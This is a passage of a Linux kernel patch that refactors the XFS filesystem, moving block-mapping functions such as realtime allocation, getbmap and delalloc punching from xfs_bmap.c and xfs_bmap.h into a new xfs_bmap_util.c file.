- mp = ap->ip->i_mount; - align = xfs_get_extsz_hint(ap->ip); - prod = align / mp->m_sb.sb_rextsize; - error = xfs_bmap_extsize_align(mp, &ap->got, &ap->prev, - align, 1, ap->eof, 0, - ap->conv, &ap->offset, &ap->length); - if (error) - return error; - ASSERT(ap->length); - ASSERT(ap->length % mp->m_sb.sb_rextsize == 0); - - /* - * If the offset & length are not perfectly aligned - * then kill prod, it will just get us in trouble. - */ - if (do_mod(ap->offset, align) || ap->length % align) - prod = 1; - /* - * Set ralen to be the actual requested length in rtextents. - */ - ralen = ap->length / mp->m_sb.sb_rextsize; - /* - * If the old value was close enough to MAXEXTLEN that - * we rounded up to it, cut it back so it's valid again. - * Note that if it's a really large request (bigger than - * MAXEXTLEN), we don't hear about that number, and can't - * adjust the starting point to match it. - */ - if (ralen * mp->m_sb.sb_rextsize >= MAXEXTLEN) - ralen = MAXEXTLEN / mp->m_sb.sb_rextsize; - - /* - * Lock out other modifications to the RT bitmap inode. - */ - xfs_ilock(mp->m_rbmip, XFS_ILOCK_EXCL); - xfs_trans_ijoin(ap->tp, mp->m_rbmip, XFS_ILOCK_EXCL); - - /* - * If it's an allocation to an empty file at offset 0, - * pick an extent that will space things out in the rt area. - */ - if (ap->eof && ap->offset == 0) { - xfs_rtblock_t uninitialized_var(rtx); /* realtime extent no */ - - error = xfs_rtpick_extent(mp, ap->tp, ralen, &rtx); - if (error) - return error; - ap->blkno = rtx * mp->m_sb.sb_rextsize; - } else { - ap->blkno = 0; - } - - xfs_bmap_adjacent(ap); - - /* - * Realtime allocation, done through xfs_rtallocate_extent. - */ - atype = ap->blkno == 0 ? XFS_ALLOCTYPE_ANY_AG : XFS_ALLOCTYPE_NEAR_BNO; - do_div(ap->blkno, mp->m_sb.sb_rextsize); - rtb = ap->blkno; - ap->length = ralen; - if ((error = xfs_rtallocate_extent(ap->tp, ap->blkno, 1, ap->length, - &ralen, atype, ap->wasdel, prod, &rtb))) - return error; - if (rtb == NULLFSBLOCK && prod > 1 && - (error = xfs_rtallocate_extent(ap->tp, ap->blkno, 1, - ap->length, &ralen, atype, - ap->wasdel, 1, &rtb))) - return error; - ap->blkno = rtb; - if (ap->blkno != NULLFSBLOCK) { - ap->blkno *= mp->m_sb.sb_rextsize; - ralen *= mp->m_sb.sb_rextsize; - ap->length = ralen; - ap->ip->i_d.di_nblocks += ralen; - xfs_trans_log_inode(ap->tp, ap->ip, XFS_ILOG_CORE); - if (ap->wasdel) - ap->ip->i_delayed_blks -= ralen; - /* - * Adjust the disk quota also. This was reserved - * earlier. - */ - xfs_trans_mod_dquot_byino(ap->tp, ap->ip, - ap->wasdel ? XFS_TRANS_DQ_DELRTBCOUNT : - XFS_TRANS_DQ_RTBCOUNT, (long) ralen); - } else { - ap->length = 0; - } - return 0; -} - -STATIC int xfs_bmap_btalloc_nullfb( struct xfs_bmalloca *ap, struct xfs_alloc_arg *args, @@ -4019,7 +3628,7 @@ xfs_bmap_btalloc_nullfb( STATIC int xfs_bmap_btalloc( - xfs_bmalloca_t *ap) /* bmap alloc argument struct */ + struct xfs_bmalloca *ap) /* bmap alloc argument struct */ { xfs_mount_t *mp; /* mount point structure */ xfs_alloctype_t atype = 0; /* type for allocation routines */ @@ -4251,7 +3860,7 @@ xfs_bmap_btalloc( */ STATIC int xfs_bmap_alloc( - xfs_bmalloca_t *ap) /* bmap alloc argument struct */ + struct xfs_bmalloca *ap) /* bmap alloc argument struct */ { if (XFS_IS_REALTIME_INODE(ap->ip) && ap->userdata) return xfs_bmap_rtalloc(ap); @@ -4639,7 +4248,7 @@ xfs_bmapi_delay( } -STATIC int +int __xfs_bmapi_allocate( struct xfs_bmalloca *bma) { @@ -4757,45 +4366,6 @@ __xfs_bmapi_allocate( return 0; } -static void -xfs_bmapi_allocate_worker( - struct work_struct *work) -{ - struct xfs_bmalloca *args = container_of(work, - struct xfs_bmalloca, work); - unsigned long pflags; - - /* we are in a transaction context here */ - current_set_flags_nested(&pflags, PF_FSTRANS); - - args->result = __xfs_bmapi_allocate(args); - complete(args->done); - - current_restore_flags_nested(&pflags, PF_FSTRANS); -} - -/* - * Some allocation requests often come in with little stack to work on. Push - * them off to a worker thread so there is lots of stack to use. Otherwise just - * call directly to avoid the context switch overhead here. - */ -int -xfs_bmapi_allocate( - struct xfs_bmalloca *args) -{ - DECLARE_COMPLETION_ONSTACK(done); - - if (!args->stack_switch) - return __xfs_bmapi_allocate(args); - - - args->done = &done; - INIT_WORK_ONSTACK(&args->work, xfs_bmapi_allocate_worker); - queue_work(xfs_alloc_wq, &args->work); - wait_for_completion(&done); - return args->result; -} - STATIC int xfs_bmapi_convert_unwritten( struct xfs_bmalloca *bma, @@ -5790,359 +5360,3 @@ error0: } return error; } - -/* - * returns 1 for success, 0 if we failed to map the extent. - */ -STATIC int -xfs_getbmapx_fix_eof_hole( - xfs_inode_t *ip, /* xfs incore inode pointer */ - struct getbmapx *out, /* output structure */ - int prealloced, /* this is a file with - * preallocated data space */ - __int64_t end, /* last block requested */ - xfs_fsblock_t startblock) -{ - __int64_t fixlen; - xfs_mount_t *mp; /* file system mount point */ - xfs_ifork_t *ifp; /* inode fork pointer */ - xfs_extnum_t lastx; /* last extent pointer */ - xfs_fileoff_t fileblock; - - if (startblock == HOLESTARTBLOCK) { - mp = ip->i_mount; - out->bmv_block = -1; - fixlen = XFS_FSB_TO_BB(mp, XFS_B_TO_FSB(mp, XFS_ISIZE(ip))); - fixlen -= out->bmv_offset; - if (prealloced && out->bmv_offset + out->bmv_length == end) { - /* Came to hole at EOF. Trim it. */ - if (fixlen <= 0) - return 0; - out->bmv_length = fixlen; - } - } else { - if (startblock == DELAYSTARTBLOCK) - out->bmv_block = -2; - else - out->bmv_block = xfs_fsb_to_db(ip, startblock); - fileblock = XFS_BB_TO_FSB(ip->i_mount, out->bmv_offset); - ifp = XFS_IFORK_PTR(ip, XFS_DATA_FORK); - if (xfs_iext_bno_to_ext(ifp, fileblock, &lastx) && - (lastx == (ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t))-1)) - out->bmv_oflags |= BMV_OF_LAST; - } - - return 1; -} - -/* - * Get inode's extents as described in bmv, and format for output. - * Calls formatter to fill the user's buffer until all extents - * are mapped, until the passed-in bmv->bmv_count slots have - * been filled, or until the formatter short-circuits the loop, - * if it is tracking filled-in extents on its own. - */ -int /* error code */ -xfs_getbmap( - xfs_inode_t *ip, - struct getbmapx *bmv, /* user bmap structure */ - xfs_bmap_format_t formatter, /* format to user */ - void *arg) /* formatter arg */ -{ - __int64_t bmvend; /* last block requested */ - int error = 0; /* return value */ - __int64_t fixlen; /* length for -1 case */ - int i; /* extent number */ - int lock; /* lock state */ - xfs_bmbt_irec_t *map; /* buffer for user's data */ - xfs_mount_t *mp; /* file system mount point */ - int nex; /* # of user extents can do */ - int nexleft; /* # of user extents left */ - int subnex; /* # of bmapi's can do */ - int nmap; /* number of map entries */ - struct getbmapx *out; /* output structure */ - int whichfork; /* data or attr fork */ - int prealloced; /* this is a file with - * preallocated data space */ - int iflags; /* interface flags */ - int bmapi_flags; /* flags for xfs_bmapi */ - int cur_ext = 0; - - mp = ip->i_mount; - iflags = bmv->bmv_iflags; - whichfork = iflags & BMV_IF_ATTRFORK ? XFS_ATTR_FORK : XFS_DATA_FORK; - - if (whichfork == XFS_ATTR_FORK) { - if (XFS_IFORK_Q(ip)) { - if (ip->i_d.di_aformat != XFS_DINODE_FMT_EXTENTS && - ip->i_d.di_aformat != XFS_DINODE_FMT_BTREE && - ip->i_d.di_aformat != XFS_DINODE_FMT_LOCAL) - return XFS_ERROR(EINVAL); - } else if (unlikely( - ip->i_d.di_aformat != 0 && - ip->i_d.di_aformat != XFS_DINODE_FMT_EXTENTS)) { - XFS_ERROR_REPORT("xfs_getbmap", XFS_ERRLEVEL_LOW, - ip->i_mount); - return XFS_ERROR(EFSCORRUPTED); - } - - prealloced = 0; - fixlen = 1LL << 32; - } else { - if (ip->i_d.di_format != XFS_DINODE_FMT_EXTENTS && - ip->i_d.di_format != XFS_DINODE_FMT_BTREE && - ip->i_d.di_format != XFS_DINODE_FMT_LOCAL) - return XFS_ERROR(EINVAL); - - if (xfs_get_extsz_hint(ip) || - ip->i_d.di_flags & (XFS_DIFLAG_PREALLOC|XFS_DIFLAG_APPEND)){ - prealloced = 1; - fixlen = mp->m_super->s_maxbytes; - } else { - prealloced = 0; - fixlen = XFS_ISIZE(ip); - } - } - - if (bmv->bmv_length == -1) { - fixlen = XFS_FSB_TO_BB(mp, XFS_B_TO_FSB(mp, fixlen)); - bmv->bmv_length = - max_t(__int64_t, fixlen - bmv->bmv_offset, 0); - } else if (bmv->bmv_length == 0) { - bmv->bmv_entries = 0; - return 0; - } else if (bmv->bmv_length < 0) { - return XFS_ERROR(EINVAL); - } - - nex = bmv->bmv_count - 1; - if (nex <= 0) - return XFS_ERROR(EINVAL); - bmvend = bmv->bmv_offset + bmv->bmv_length; - - - if (bmv->bmv_count > ULONG_MAX / sizeof(struct getbmapx)) - return XFS_ERROR(ENOMEM); - out = kmem_zalloc(bmv->bmv_count * sizeof(struct getbmapx), KM_MAYFAIL); - if (!out) { - out = kmem_zalloc_large(bmv->bmv_count * - sizeof(struct getbmapx)); - if (!out) - return XFS_ERROR(ENOMEM); - } - - xfs_ilock(ip, XFS_IOLOCK_SHARED); - if (whichfork == XFS_DATA_FORK && !(iflags & BMV_IF_DELALLOC)) { - if (ip->i_delayed_blks || XFS_ISIZE(ip) > ip->i_d.di_size) { - error = -filemap_write_and_wait(VFS_I(ip)->i_mapping); - if (error) - goto out_unlock_iolock; - } - /* - * even after flushing the inode, there can still be delalloc - * blocks on the inode beyond EOF due to speculative - * preallocation. These are not removed until the release - * function is called or the inode is inactivated. Hence we - * cannot assert here that ip->i_delayed_blks == 0. - */ - } - - lock = xfs_ilock_map_shared(ip); - - /* - * Don't let nex be bigger than the number of extents - * we can have assuming alternating holes and real extents. - */ - if (nex > XFS_IFORK_NEXTENTS(ip, whichfork) * 2 + 1) - nex = XFS_IFORK_NEXTENTS(ip, whichfork) * 2 + 1; - - bmapi_flags = xfs_bmapi_aflag(whichfork); - if (!(iflags & BMV_IF_PREALLOC)) - bmapi_flags |= XFS_BMAPI_IGSTATE; - - /* - * Allocate enough space to handle "subnex" maps at a time. - */ - error = ENOMEM; - subnex = 16; - map = kmem_alloc(subnex * sizeof(*map), KM_MAYFAIL | KM_NOFS); - if (!map) - goto out_unlock_ilock; - - bmv->bmv_entries = 0; - - if (XFS_IFORK_NEXTENTS(ip, whichfork) == 0 && - (whichfork == XFS_ATTR_FORK || !(iflags & BMV_IF_DELALLOC))) { - error = 0; - goto out_free_map; - } - - nexleft = nex; - - do { - nmap = (nexleft > subnex) ? subnex : nexleft; - error = xfs_bmapi_read(ip, XFS_BB_TO_FSBT(mp, bmv->bmv_offset), - XFS_BB_TO_FSB(mp, bmv->bmv_length), - map, &nmap, bmapi_flags); - if (error) - goto out_free_map; - ASSERT(nmap <= subnex); - - for (i = 0; i < nmap && nexleft && bmv->bmv_length; i++) { - out[cur_ext].bmv_oflags = 0; - if (map[i].br_state == XFS_EXT_UNWRITTEN) - out[cur_ext].bmv_oflags |= BMV_OF_PREALLOC; - else if (map[i].br_startblock == DELAYSTARTBLOCK) - out[cur_ext].bmv_oflags |= BMV_OF_DELALLOC; - out[cur_ext].bmv_offset = - XFS_FSB_TO_BB(mp, map[i].br_startoff); - out[cur_ext].bmv_length = - XFS_FSB_TO_BB(mp, map[i].br_blockcount); - out[cur_ext].bmv_unused1 = 0; - out[cur_ext].bmv_unused2 = 0; - - /* - * delayed allocation extents that start beyond EOF can - * occur due to speculative EOF allocation when the - * delalloc extent is larger than the largest freespace - * extent at conversion time. These extents cannot be - * converted by data writeback, so can exist here even - * if we are not supposed to be finding delalloc - * extents. - */ - if (map[i].br_startblock == DELAYSTARTBLOCK && - map[i].br_startoff <= XFS_B_TO_FSB(mp, XFS_ISIZE(ip))) - ASSERT((iflags & BMV_IF_DELALLOC) != 0); - - if (map[i].br_startblock == HOLESTARTBLOCK && - whichfork == XFS_ATTR_FORK) { - /* came to the end of attribute fork */ - out[cur_ext].bmv_oflags |= BMV_OF_LAST; - goto out_free_map; - } - - if (!xfs_getbmapx_fix_eof_hole(ip, &out[cur_ext], - prealloced, bmvend, - map[i].br_startblock)) - goto out_free_map; - - bmv->bmv_offset = - out[cur_ext].bmv_offset + - out[cur_ext].bmv_length; - bmv->bmv_length = - max_t(__int64_t, 0, bmvend - bmv->bmv_offset); - - /* - * In case we don't want to return the hole, - * don't increase cur_ext so that we can reuse - * it in the next loop. - */ - if ((iflags & BMV_IF_NO_HOLES) && - map[i].br_startblock == HOLESTARTBLOCK) { - memset(&out[cur_ext], 0, sizeof(out[cur_ext])); - continue; - } - - nexleft--; - bmv->bmv_entries++; - cur_ext++; - } - } while (nmap && nexleft && bmv->bmv_length); - - out_free_map: - kmem_free(map); - out_unlock_ilock: - xfs_iunlock_map_shared(ip, lock); - out_unlock_iolock: - xfs_iunlock(ip, XFS_IOLOCK_SHARED); - - for (i = 0; i < cur_ext; i++) { - int full = 0; /* user array is full */ - - /* format results & advance arg */ - error = formatter(&arg, &out[i], &full); - if (error || full) - break; - } - - if (is_vmalloc_addr(out)) - kmem_free_large(out); - else - kmem_free(out); - return error; -} - -/* - * dead simple method of punching delalyed allocation blocks from a range in - * the inode. Walks a block at a time so will be slow, but is only executed in - * rare error cases so the overhead is not critical. This will alays punch out - * both the start and end blocks, even if the ranges only partially overlap - * them, so it is up to the caller to ensure that partial blocks are not - * passed in. - */ -int -xfs_bmap_punch_delalloc_range( - struct xfs_inode *ip, - xfs_fileoff_t start_fsb, - xfs_fileoff_t length) -{ - xfs_fileoff_t remaining = length; - int error = 0; - - ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); - - do { - int done; - xfs_bmbt_irec_t imap; - int nimaps = 1; - xfs_fsblock_t firstblock; - xfs_bmap_free_t flist; - - /* - * Map the range first and check that it is a delalloc extent - * before trying to unmap the range. Otherwise we will be - * trying to remove a real extent (which requires a - * transaction) or a hole, which is probably a bad idea... - */ - error = xfs_bmapi_read(ip, start_fsb, 1, &imap, &nimaps, - XFS_BMAPI_ENTIRE); - - if (error) { - /* something screwed, just bail */ - if (!XFS_FORCED_SHUTDOWN(ip->i_mount)) { - xfs_alert(ip->i_mount, - "Failed delalloc mapping lookup ino %lld fsb %lld.", - ip->i_ino, start_fsb); - } - break; - } - if (!nimaps) { - /* nothing there */ - goto next_block; - } - if (imap.br_startblock != DELAYSTARTBLOCK) { - /* been converted, ignore */ - goto next_block; - } - WARN_ON(imap.br_blockcount == 0); - - /* - * Note: while we initialise the firstblock/flist pair, they - * should never be used because blocks should never be - * allocated or freed for a delalloc extent and hence we need - * don't cancel or finish them after the xfs_bunmapi() call. - */ - xfs_bmap_init(&flist, &firstblock); - error = xfs_bunmapi(NULL, ip, start_fsb, 1, 0, 1, &firstblock, - &flist, &done); - if (error) - break; - - ASSERT(!flist.xbf_count && !flist.xbf_first); -next_block: - start_fsb++; - remaining--; - } while(remaining > 0); - - return error; -} diff --git a/fs/xfs/xfs_bmap.h b/fs/xfs/xfs_bmap.h index 314dca1..8b2fe97 100644 --- a/fs/xfs/xfs_bmap.h +++ b/fs/xfs/xfs_bmap.h @@ -108,43 +108,6 @@ static inline void xfs_bmap_init(xfs_bmap_free_t *flp, xfs_fsblock_t *fbp) } /* - * Argument structure for xfs_bmap_alloc. - */ -typedef struct xfs_bmalloca { - xfs_fsblock_t *firstblock; /* i/o first block allocated */ - struct xfs_bmap_free *flist; /* bmap freelist */ - struct xfs_trans *tp; /* transaction pointer */ - struct xfs_inode *ip; /* incore inode pointer */ - struct xfs_bmbt_irec prev; /* extent before the new one */ - struct xfs_bmbt_irec got; /* extent after, or delayed */ - - xfs_fileoff_t offset; /* offset in file filling in */ - xfs_extlen_t length; /* i/o length asked/allocated */ - xfs_fsblock_t blkno; /* starting block of new extent */ - - struct xfs_btree_cur *cur; /* btree cursor */ - xfs_extnum_t idx; /* current extent index */ - int nallocs;/* number of extents alloc'd */ - int logflags;/* flags for transaction logging */ - - xfs_extlen_t total; /* total blocks needed for xaction */ - xfs_extlen_t minlen; /* minimum allocation size (blocks) */ - xfs_extlen_t minleft; /* amount must be left after alloc */ - char eof; /* set if allocating past last extent */ - char wasdel; /* replacing a delayed allocation */ - char userdata;/* set if is user data */ - char aeof; /* allocated space at eof */ - char conv; /* overwriting unwritten extents */ - char stack_switch; - int flags; -#ifdef __KERNEL__ - struct completion *done; - struct work_struct work; - int result; -#endif /* __KERNEL__ */ -} xfs_bmalloca_t; - -/* * Flags for xfs_bmap_add_extent*. */ #define BMAP_LEFT_CONTIG (1 << 0) @@ -207,23 +170,4 @@ int xfs_check_nostate_extents(struct xfs_ifork *ifp, xfs_extnum_t idx, xfs_extnum_t num); uint xfs_default_attroffset(struct xfs_inode *ip); -#ifdef __KERNEL__ -/* bmap to userspace formatter - copy to user & advance pointer */ -typedef int (*xfs_bmap_format_t)(void **, struct getbmapx *, int *); - -int xfs_bmap_finish(struct xfs_trans **tp, struct xfs_bmap_free *flist, - int *committed); -int xfs_getbmap(struct xfs_inode *ip, struct getbmapx *bmv, - xfs_bmap_format_t formatter, void *arg); -int xfs_bmap_eof(struct xfs_inode *ip, xfs_fileoff_t endoff, - int whichfork, int *eof); -int xfs_bmap_count_blocks(struct xfs_trans *tp, struct xfs_inode *ip, - int whichfork, int *count); -int xfs_bmap_punch_delalloc_range(struct xfs_inode *ip, - xfs_fileoff_t start_fsb, xfs_fileoff_t length); - -xfs_daddr_t xfs_fsb_to_db(struct xfs_inode *ip, xfs_fsblock_t fsb); - -#endif /* __KERNEL__ */ - #endif /* __XFS_BMAP_H__ */ diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c new file mode 100644 index 0000000..8e48ddf --- /dev/null +++ b/fs/xfs/xfs_bmap_util.c @@ -0,0 +1,834 @@ +/* + * Copyright (c) 2000-2006 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "xfs.h" +#include "xfs_fs.h" +#include "xfs_format.h" +#include "xfs_bit.h" +#include "xfs_log.h" +#include "xfs_inum.h" +#include "xfs_trans.h" +#include "xfs_sb.h" +#include "xfs_ag.h" +#include "xfs_mount.h" +#include "xfs_da_btree.h" +#include "xfs_bmap_btree.h" +#include "xfs_alloc_btree.h" +#include "xfs_ialloc_btree.h" +#include "xfs_dinode.h" +#include "xfs_inode.h" +#include "xfs_btree.h" +#include "xfs_extfree_item.h" +#include "xfs_alloc.h" +#include "xfs_bmap.h" +#include "xfs_bmap_util.h" +#include "xfs_rtalloc.h" +#include "xfs_error.h" +#include "xfs_quota.h" +#include "xfs_trans_space.h" +#include "xfs_trace.h" + +/* Kernel only BMAP related definitions and functions */ + +/* + * Convert the given file system block to a disk block. We have to treat it + * differently based on whether the file is a real time file or not, because the + * bmap code does. + */ +xfs_daddr_t +xfs_fsb_to_db(struct xfs_inode *ip, xfs_fsblock_t fsb) +{ + return (XFS_IS_REALTIME_INODE(ip) ? \ + (xfs_daddr_t)XFS_FSB_TO_BB((ip)->i_mount, (fsb)) : \ + XFS_FSB_TO_DADDR((ip)->i_mount, (fsb))); +} + +/* + * Routine to be called at transaction's end by xfs_bmapi, xfs_bunmapi + * caller. Frees all the extents that need freeing, which must be done + * last due to locking considerations. We never free any extents in + * the first transaction. + * + * Return 1 if the given transaction was committed and a new one + * started, and 0 otherwise in the committed parameter. + */ +int /* error */ +xfs_bmap_finish( + xfs_trans_t **tp, /* transaction pointer addr */ + xfs_bmap_free_t *flist, /* i/o: list extents to free */ + int *committed) /* xact committed or not */ +{ + xfs_efd_log_item_t *efd; /* extent free data */ + xfs_efi_log_item_t *efi; /* extent free intention */ + int error; /* error return value */ + xfs_bmap_free_item_t *free; /* free extent item */ + unsigned int logres; /* new log reservation */ + unsigned int logcount; /* new log count */ + xfs_mount_t *mp; /* filesystem mount structure */ + xfs_bmap_free_item_t *next; /* next item on free list */ + xfs_trans_t *ntp; /* new transaction pointer */ + + ASSERT((*tp)->t_flags & XFS_TRANS_PERM_LOG_RES); + if (flist->xbf_count == 0) { + *committed = 0; + return 0; + } + ntp = *tp; + efi = xfs_trans_get_efi(ntp, flist->xbf_count); + for (free = flist->xbf_first; free; free = free->xbfi_next) + xfs_trans_log_efi_extent(ntp, efi, free->xbfi_startblock, + free->xbfi_blockcount); + logres = ntp->t_log_res; + logcount = ntp->t_log_count; + ntp = xfs_trans_dup(*tp); + error = xfs_trans_commit(*tp, 0); + *tp = ntp; + *committed = 1; + /* + * We have a new transaction, so we should return committed=1, + * even though we're returning an error. + */ + if (error) + return error; + + /* + * transaction commit worked ok so we can drop the extra ticket + * reference that we gained in xfs_trans_dup() + */ + xfs_log_ticket_put(ntp->t_ticket); + + if ((error = xfs_trans_reserve(ntp, 0, logres, 0, XFS_TRANS_PERM_LOG_RES, + logcount))) + return error; + efd = xfs_trans_get_efd(ntp, efi, flist->xbf_count); + for (free = flist->xbf_first; free != NULL; free = next) { + next = free->xbfi_next; + if ((error = xfs_free_extent(ntp, free->xbfi_startblock, + free->xbfi_blockcount))) { + /* + * The bmap free list will be cleaned up at a + * higher level. The EFI will be canceled when + * this transaction is aborted. + * Need to force shutdown here to make sure it + * happens, since this transaction may not be + * dirty yet. + */ + mp = ntp->t_mountp; + if (!XFS_FORCED_SHUTDOWN(mp)) + xfs_force_shutdown(mp, + (error == EFSCORRUPTED) ? + SHUTDOWN_CORRUPT_INCORE : + SHUTDOWN_META_IO_ERROR); + return error; + } + xfs_trans_log_efd_extent(ntp, efd, free->xbfi_startblock, + free->xbfi_blockcount); + xfs_bmap_del_free(flist, NULL, free); + } + return 0; +} + +int +xfs_bmap_rtalloc( + struct xfs_bmalloca *ap) /* bmap alloc argument struct */ +{ + xfs_alloctype_t atype = 0; /* type for allocation routines */ + int error; /* error return value */ + xfs_mount_t *mp; /* mount point structure */ + xfs_extlen_t prod = 0; /* product factor for allocators */ + xfs_extlen_t ralen = 0; /* realtime allocation length */ + xfs_extlen_t align; /* minimum allocation alignment */ + xfs_rtblock_t rtb; + + mp = ap->ip->i_mount; + align = xfs_get_extsz_hint(ap->ip); + prod = align / mp->m_sb.sb_rextsize; + error = xfs_bmap_extsize_align(mp, &ap->got, &ap->prev, + align, 1, ap->eof, 0, + ap->conv, &ap->offset, &ap->length); + if (error) + return error; + ASSERT(ap->length); + ASSERT(ap->length % mp->m_sb.sb_rextsize == 0); + + /* + * If the offset & length are not perfectly aligned + * then kill prod, it will just get us in trouble. + */ + if (do_mod(ap->offset, align) || ap->length % align) + prod = 1; + /* + * Set ralen to be the actual requested length in rtextents. + */ + ralen = ap->length / mp->m_sb.sb_rextsize; + /* + * If the old value was close enough to MAXEXTLEN that + * we rounded up to it, cut it back so it's valid again. + * Note that if it's a really large request (bigger than + * MAXEXTLEN), we don't hear about that number, and can't + * adjust the starting point to match it. + */ + if (ralen * mp->m_sb.sb_rextsize >= MAXEXTLEN) + ralen = MAXEXTLEN / mp->m_sb.sb_rextsize; + + /* + * Lock out other modifications to the RT bitmap inode. + */ + xfs_ilock(mp->m_rbmip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(ap->tp, mp->m_rbmip, XFS_ILOCK_EXCL); + + /* + * If it's an allocation to an empty file at offset 0, + * pick an extent that will space things out in the rt area. + */ + if (ap->eof && ap->offset == 0) { + xfs_rtblock_t uninitialized_var(rtx); /* realtime extent no */ + + error = xfs_rtpick_extent(mp, ap->tp, ralen, &rtx); + if (error) + return error; + ap->blkno = rtx * mp->m_sb.sb_rextsize; + } else { + ap->blkno = 0; + } + + xfs_bmap_adjacent(ap); + + /* + * Realtime allocation, done through xfs_rtallocate_extent. + */ + atype = ap->blkno == 0 ? XFS_ALLOCTYPE_ANY_AG : XFS_ALLOCTYPE_NEAR_BNO; + do_div(ap->blkno, mp->m_sb.sb_rextsize); + rtb = ap->blkno; + ap->length = ralen; + if ((error = xfs_rtallocate_extent(ap->tp, ap->blkno, 1, ap->length, + &ralen, atype, ap->wasdel, prod, &rtb))) + return error; + if (rtb == NULLFSBLOCK && prod > 1 && + (error = xfs_rtallocate_extent(ap->tp, ap->blkno, 1, + ap->length, &ralen, atype, + ap->wasdel, 1, &rtb))) + return error; + ap->blkno = rtb; + if (ap->blkno != NULLFSBLOCK) { + ap->blkno *= mp->m_sb.sb_rextsize; + ralen *= mp->m_sb.sb_rextsize; + ap->length = ralen; + ap->ip->i_d.di_nblocks += ralen; + xfs_trans_log_inode(ap->tp, ap->ip, XFS_ILOG_CORE); + if (ap->wasdel) + ap->ip->i_delayed_blks -= ralen; + /* + * Adjust the disk quota also. This was reserved + * earlier. + */ + xfs_trans_mod_dquot_byino(ap->tp, ap->ip, + ap->wasdel ? XFS_TRANS_DQ_DELRTBCOUNT : + XFS_TRANS_DQ_RTBCOUNT, (long) ralen); + } else { + ap->length = 0; + } + return 0; +} + +/* + * Stack switching interfaces for allocation + */ +static void +xfs_bmapi_allocate_worker( + struct work_struct *work) +{ + struct xfs_bmalloca *args = container_of(work, + struct xfs_bmalloca, work); + unsigned long pflags; + + /* we are in a transaction context here */ + current_set_flags_nested(&pflags, PF_FSTRANS); + + args->result = __xfs_bmapi_allocate(args); + complete(args->done); + + current_restore_flags_nested(&pflags, PF_FSTRANS); +} + +/* + * Some allocation requests often come in with little stack to work on. Push + * them off to a worker thread so there is lots of stack to use. Otherwise just + * call directly to avoid the context switch overhead here. + */ +int +xfs_bmapi_allocate( + struct xfs_bmalloca *args) +{ + DECLARE_COMPLETION_ONSTACK(done); + + if (!args->stack_switch) + return __xfs_bmapi_allocate(args); + + + args->done = &done; + INIT_WORK_ONSTACK(&args->work, xfs_bmapi_allocate_worker); + queue_work(xfs_alloc_wq, &args->work); + wait_for_completion(&done); + return args->result; +} + +/* + * Check if the endoff is outside the last extent. If so the caller will grow + * the allocation to a stripe unit boundary. All offsets are considered outside + * the end of file for an empty fork, so 1 is returned in *eof in that case. + */ +int +xfs_bmap_eof( + struct xfs_inode *ip, + xfs_fileoff_t endoff, + int whichfork, + int *eof) +{ + struct xfs_bmbt_irec rec; + int error; + + error = xfs_bmap_last_extent(NULL, ip, whichfork, &rec, eof); + if (error || *eof) + return error; + + *eof = endoff >= rec.br_startoff + rec.br_blockcount; + return 0; +} + +/* + * Extent tree block counting routines. + */ + +/* + * Count leaf blocks given a range of extent records. + */ +STATIC void +xfs_bmap_count_leaves( + xfs_ifork_t *ifp, + xfs_extnum_t idx, + int numrecs, + int *count) +{ + int b; + + for (b = 0; b < numrecs; b++) { + xfs_bmbt_rec_host_t *frp = xfs_iext_get_ext(ifp, idx + b); + *count += xfs_bmbt_get_blockcount(frp); + } +} + +/* + * Count leaf blocks given a range of extent records originally + * in btree format. + */ +STATIC void +xfs_bmap_disk_count_leaves( + struct xfs_mount *mp, + struct xfs_btree_block *block, + int numrecs, + int *count) +{ + int b; + xfs_bmbt_rec_t *frp; + + for (b = 1; b <= numrecs; b++) { + frp = XFS_BMBT_REC_ADDR(mp, block, b); + *count += xfs_bmbt_disk_get_blockcount(frp); + } +} + +/* + * Recursively walks each level of a btree + * to count total fsblocks is use. + */ +STATIC int /* error */ +xfs_bmap_count_tree( + xfs_mount_t *mp, /* file system mount point */ + xfs_trans_t *tp, /* transaction pointer */ + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_fsblock_t blockno, /* file system block number */ + int levelin, /* level in btree */ + int *count) /* Count of blocks */ +{ + int error; + xfs_buf_t *bp, *nbp; + int level = levelin; + __be64 *pp; + xfs_fsblock_t bno = blockno; + xfs_fsblock_t nextbno; + struct xfs_btree_block *block, *nextblock; + int numrecs; + + error = xfs_btree_read_bufl(mp, tp, bno, 0, &bp, XFS_BMAP_BTREE_REF, + &xfs_bmbt_buf_ops); + if (error) + return error; + *count += 1; + block = XFS_BUF_TO_BLOCK(bp); + + if (--level) { + /* Not at node above leaves, count this level of nodes */ + nextbno = be64_to_cpu(block->bb_u.l.bb_rightsib); + while (nextbno != NULLFSBLOCK) { + error = xfs_btree_read_bufl(mp, tp, nextbno, 0, &nbp, + XFS_BMAP_BTREE_REF, + &xfs_bmbt_buf_ops); + if (error) + return error; + *count += 1; + nextblock = XFS_BUF_TO_BLOCK(nbp); + nextbno = be64_to_cpu(nextblock->bb_u.l.bb_rightsib); + xfs_trans_brelse(tp, nbp); + } + + /* Dive to the next level */ + pp = XFS_BMBT_PTR_ADDR(mp, block, 1, mp->m_bmap_dmxr[1]); + bno = be64_to_cpu(*pp); + if (unlikely((error = + xfs_bmap_count_tree(mp, tp, ifp, bno, level, count)) < 0)) { + xfs_trans_brelse(tp, bp); + XFS_ERROR_REPORT("xfs_bmap_count_tree(1)", + XFS_ERRLEVEL_LOW, mp); + return XFS_ERROR(EFSCORRUPTED); + } + xfs_trans_brelse(tp, bp); + } else { + /* count all level 1 nodes and their leaves */ + for (;;) { + nextbno = be64_to_cpu(block->bb_u.l.bb_rightsib); + numrecs = be16_to_cpu(block->bb_numrecs); + xfs_bmap_disk_count_leaves(mp, block, numrecs, count); + xfs_trans_brelse(tp, bp); + if (nextbno == NULLFSBLOCK) + break; + bno = 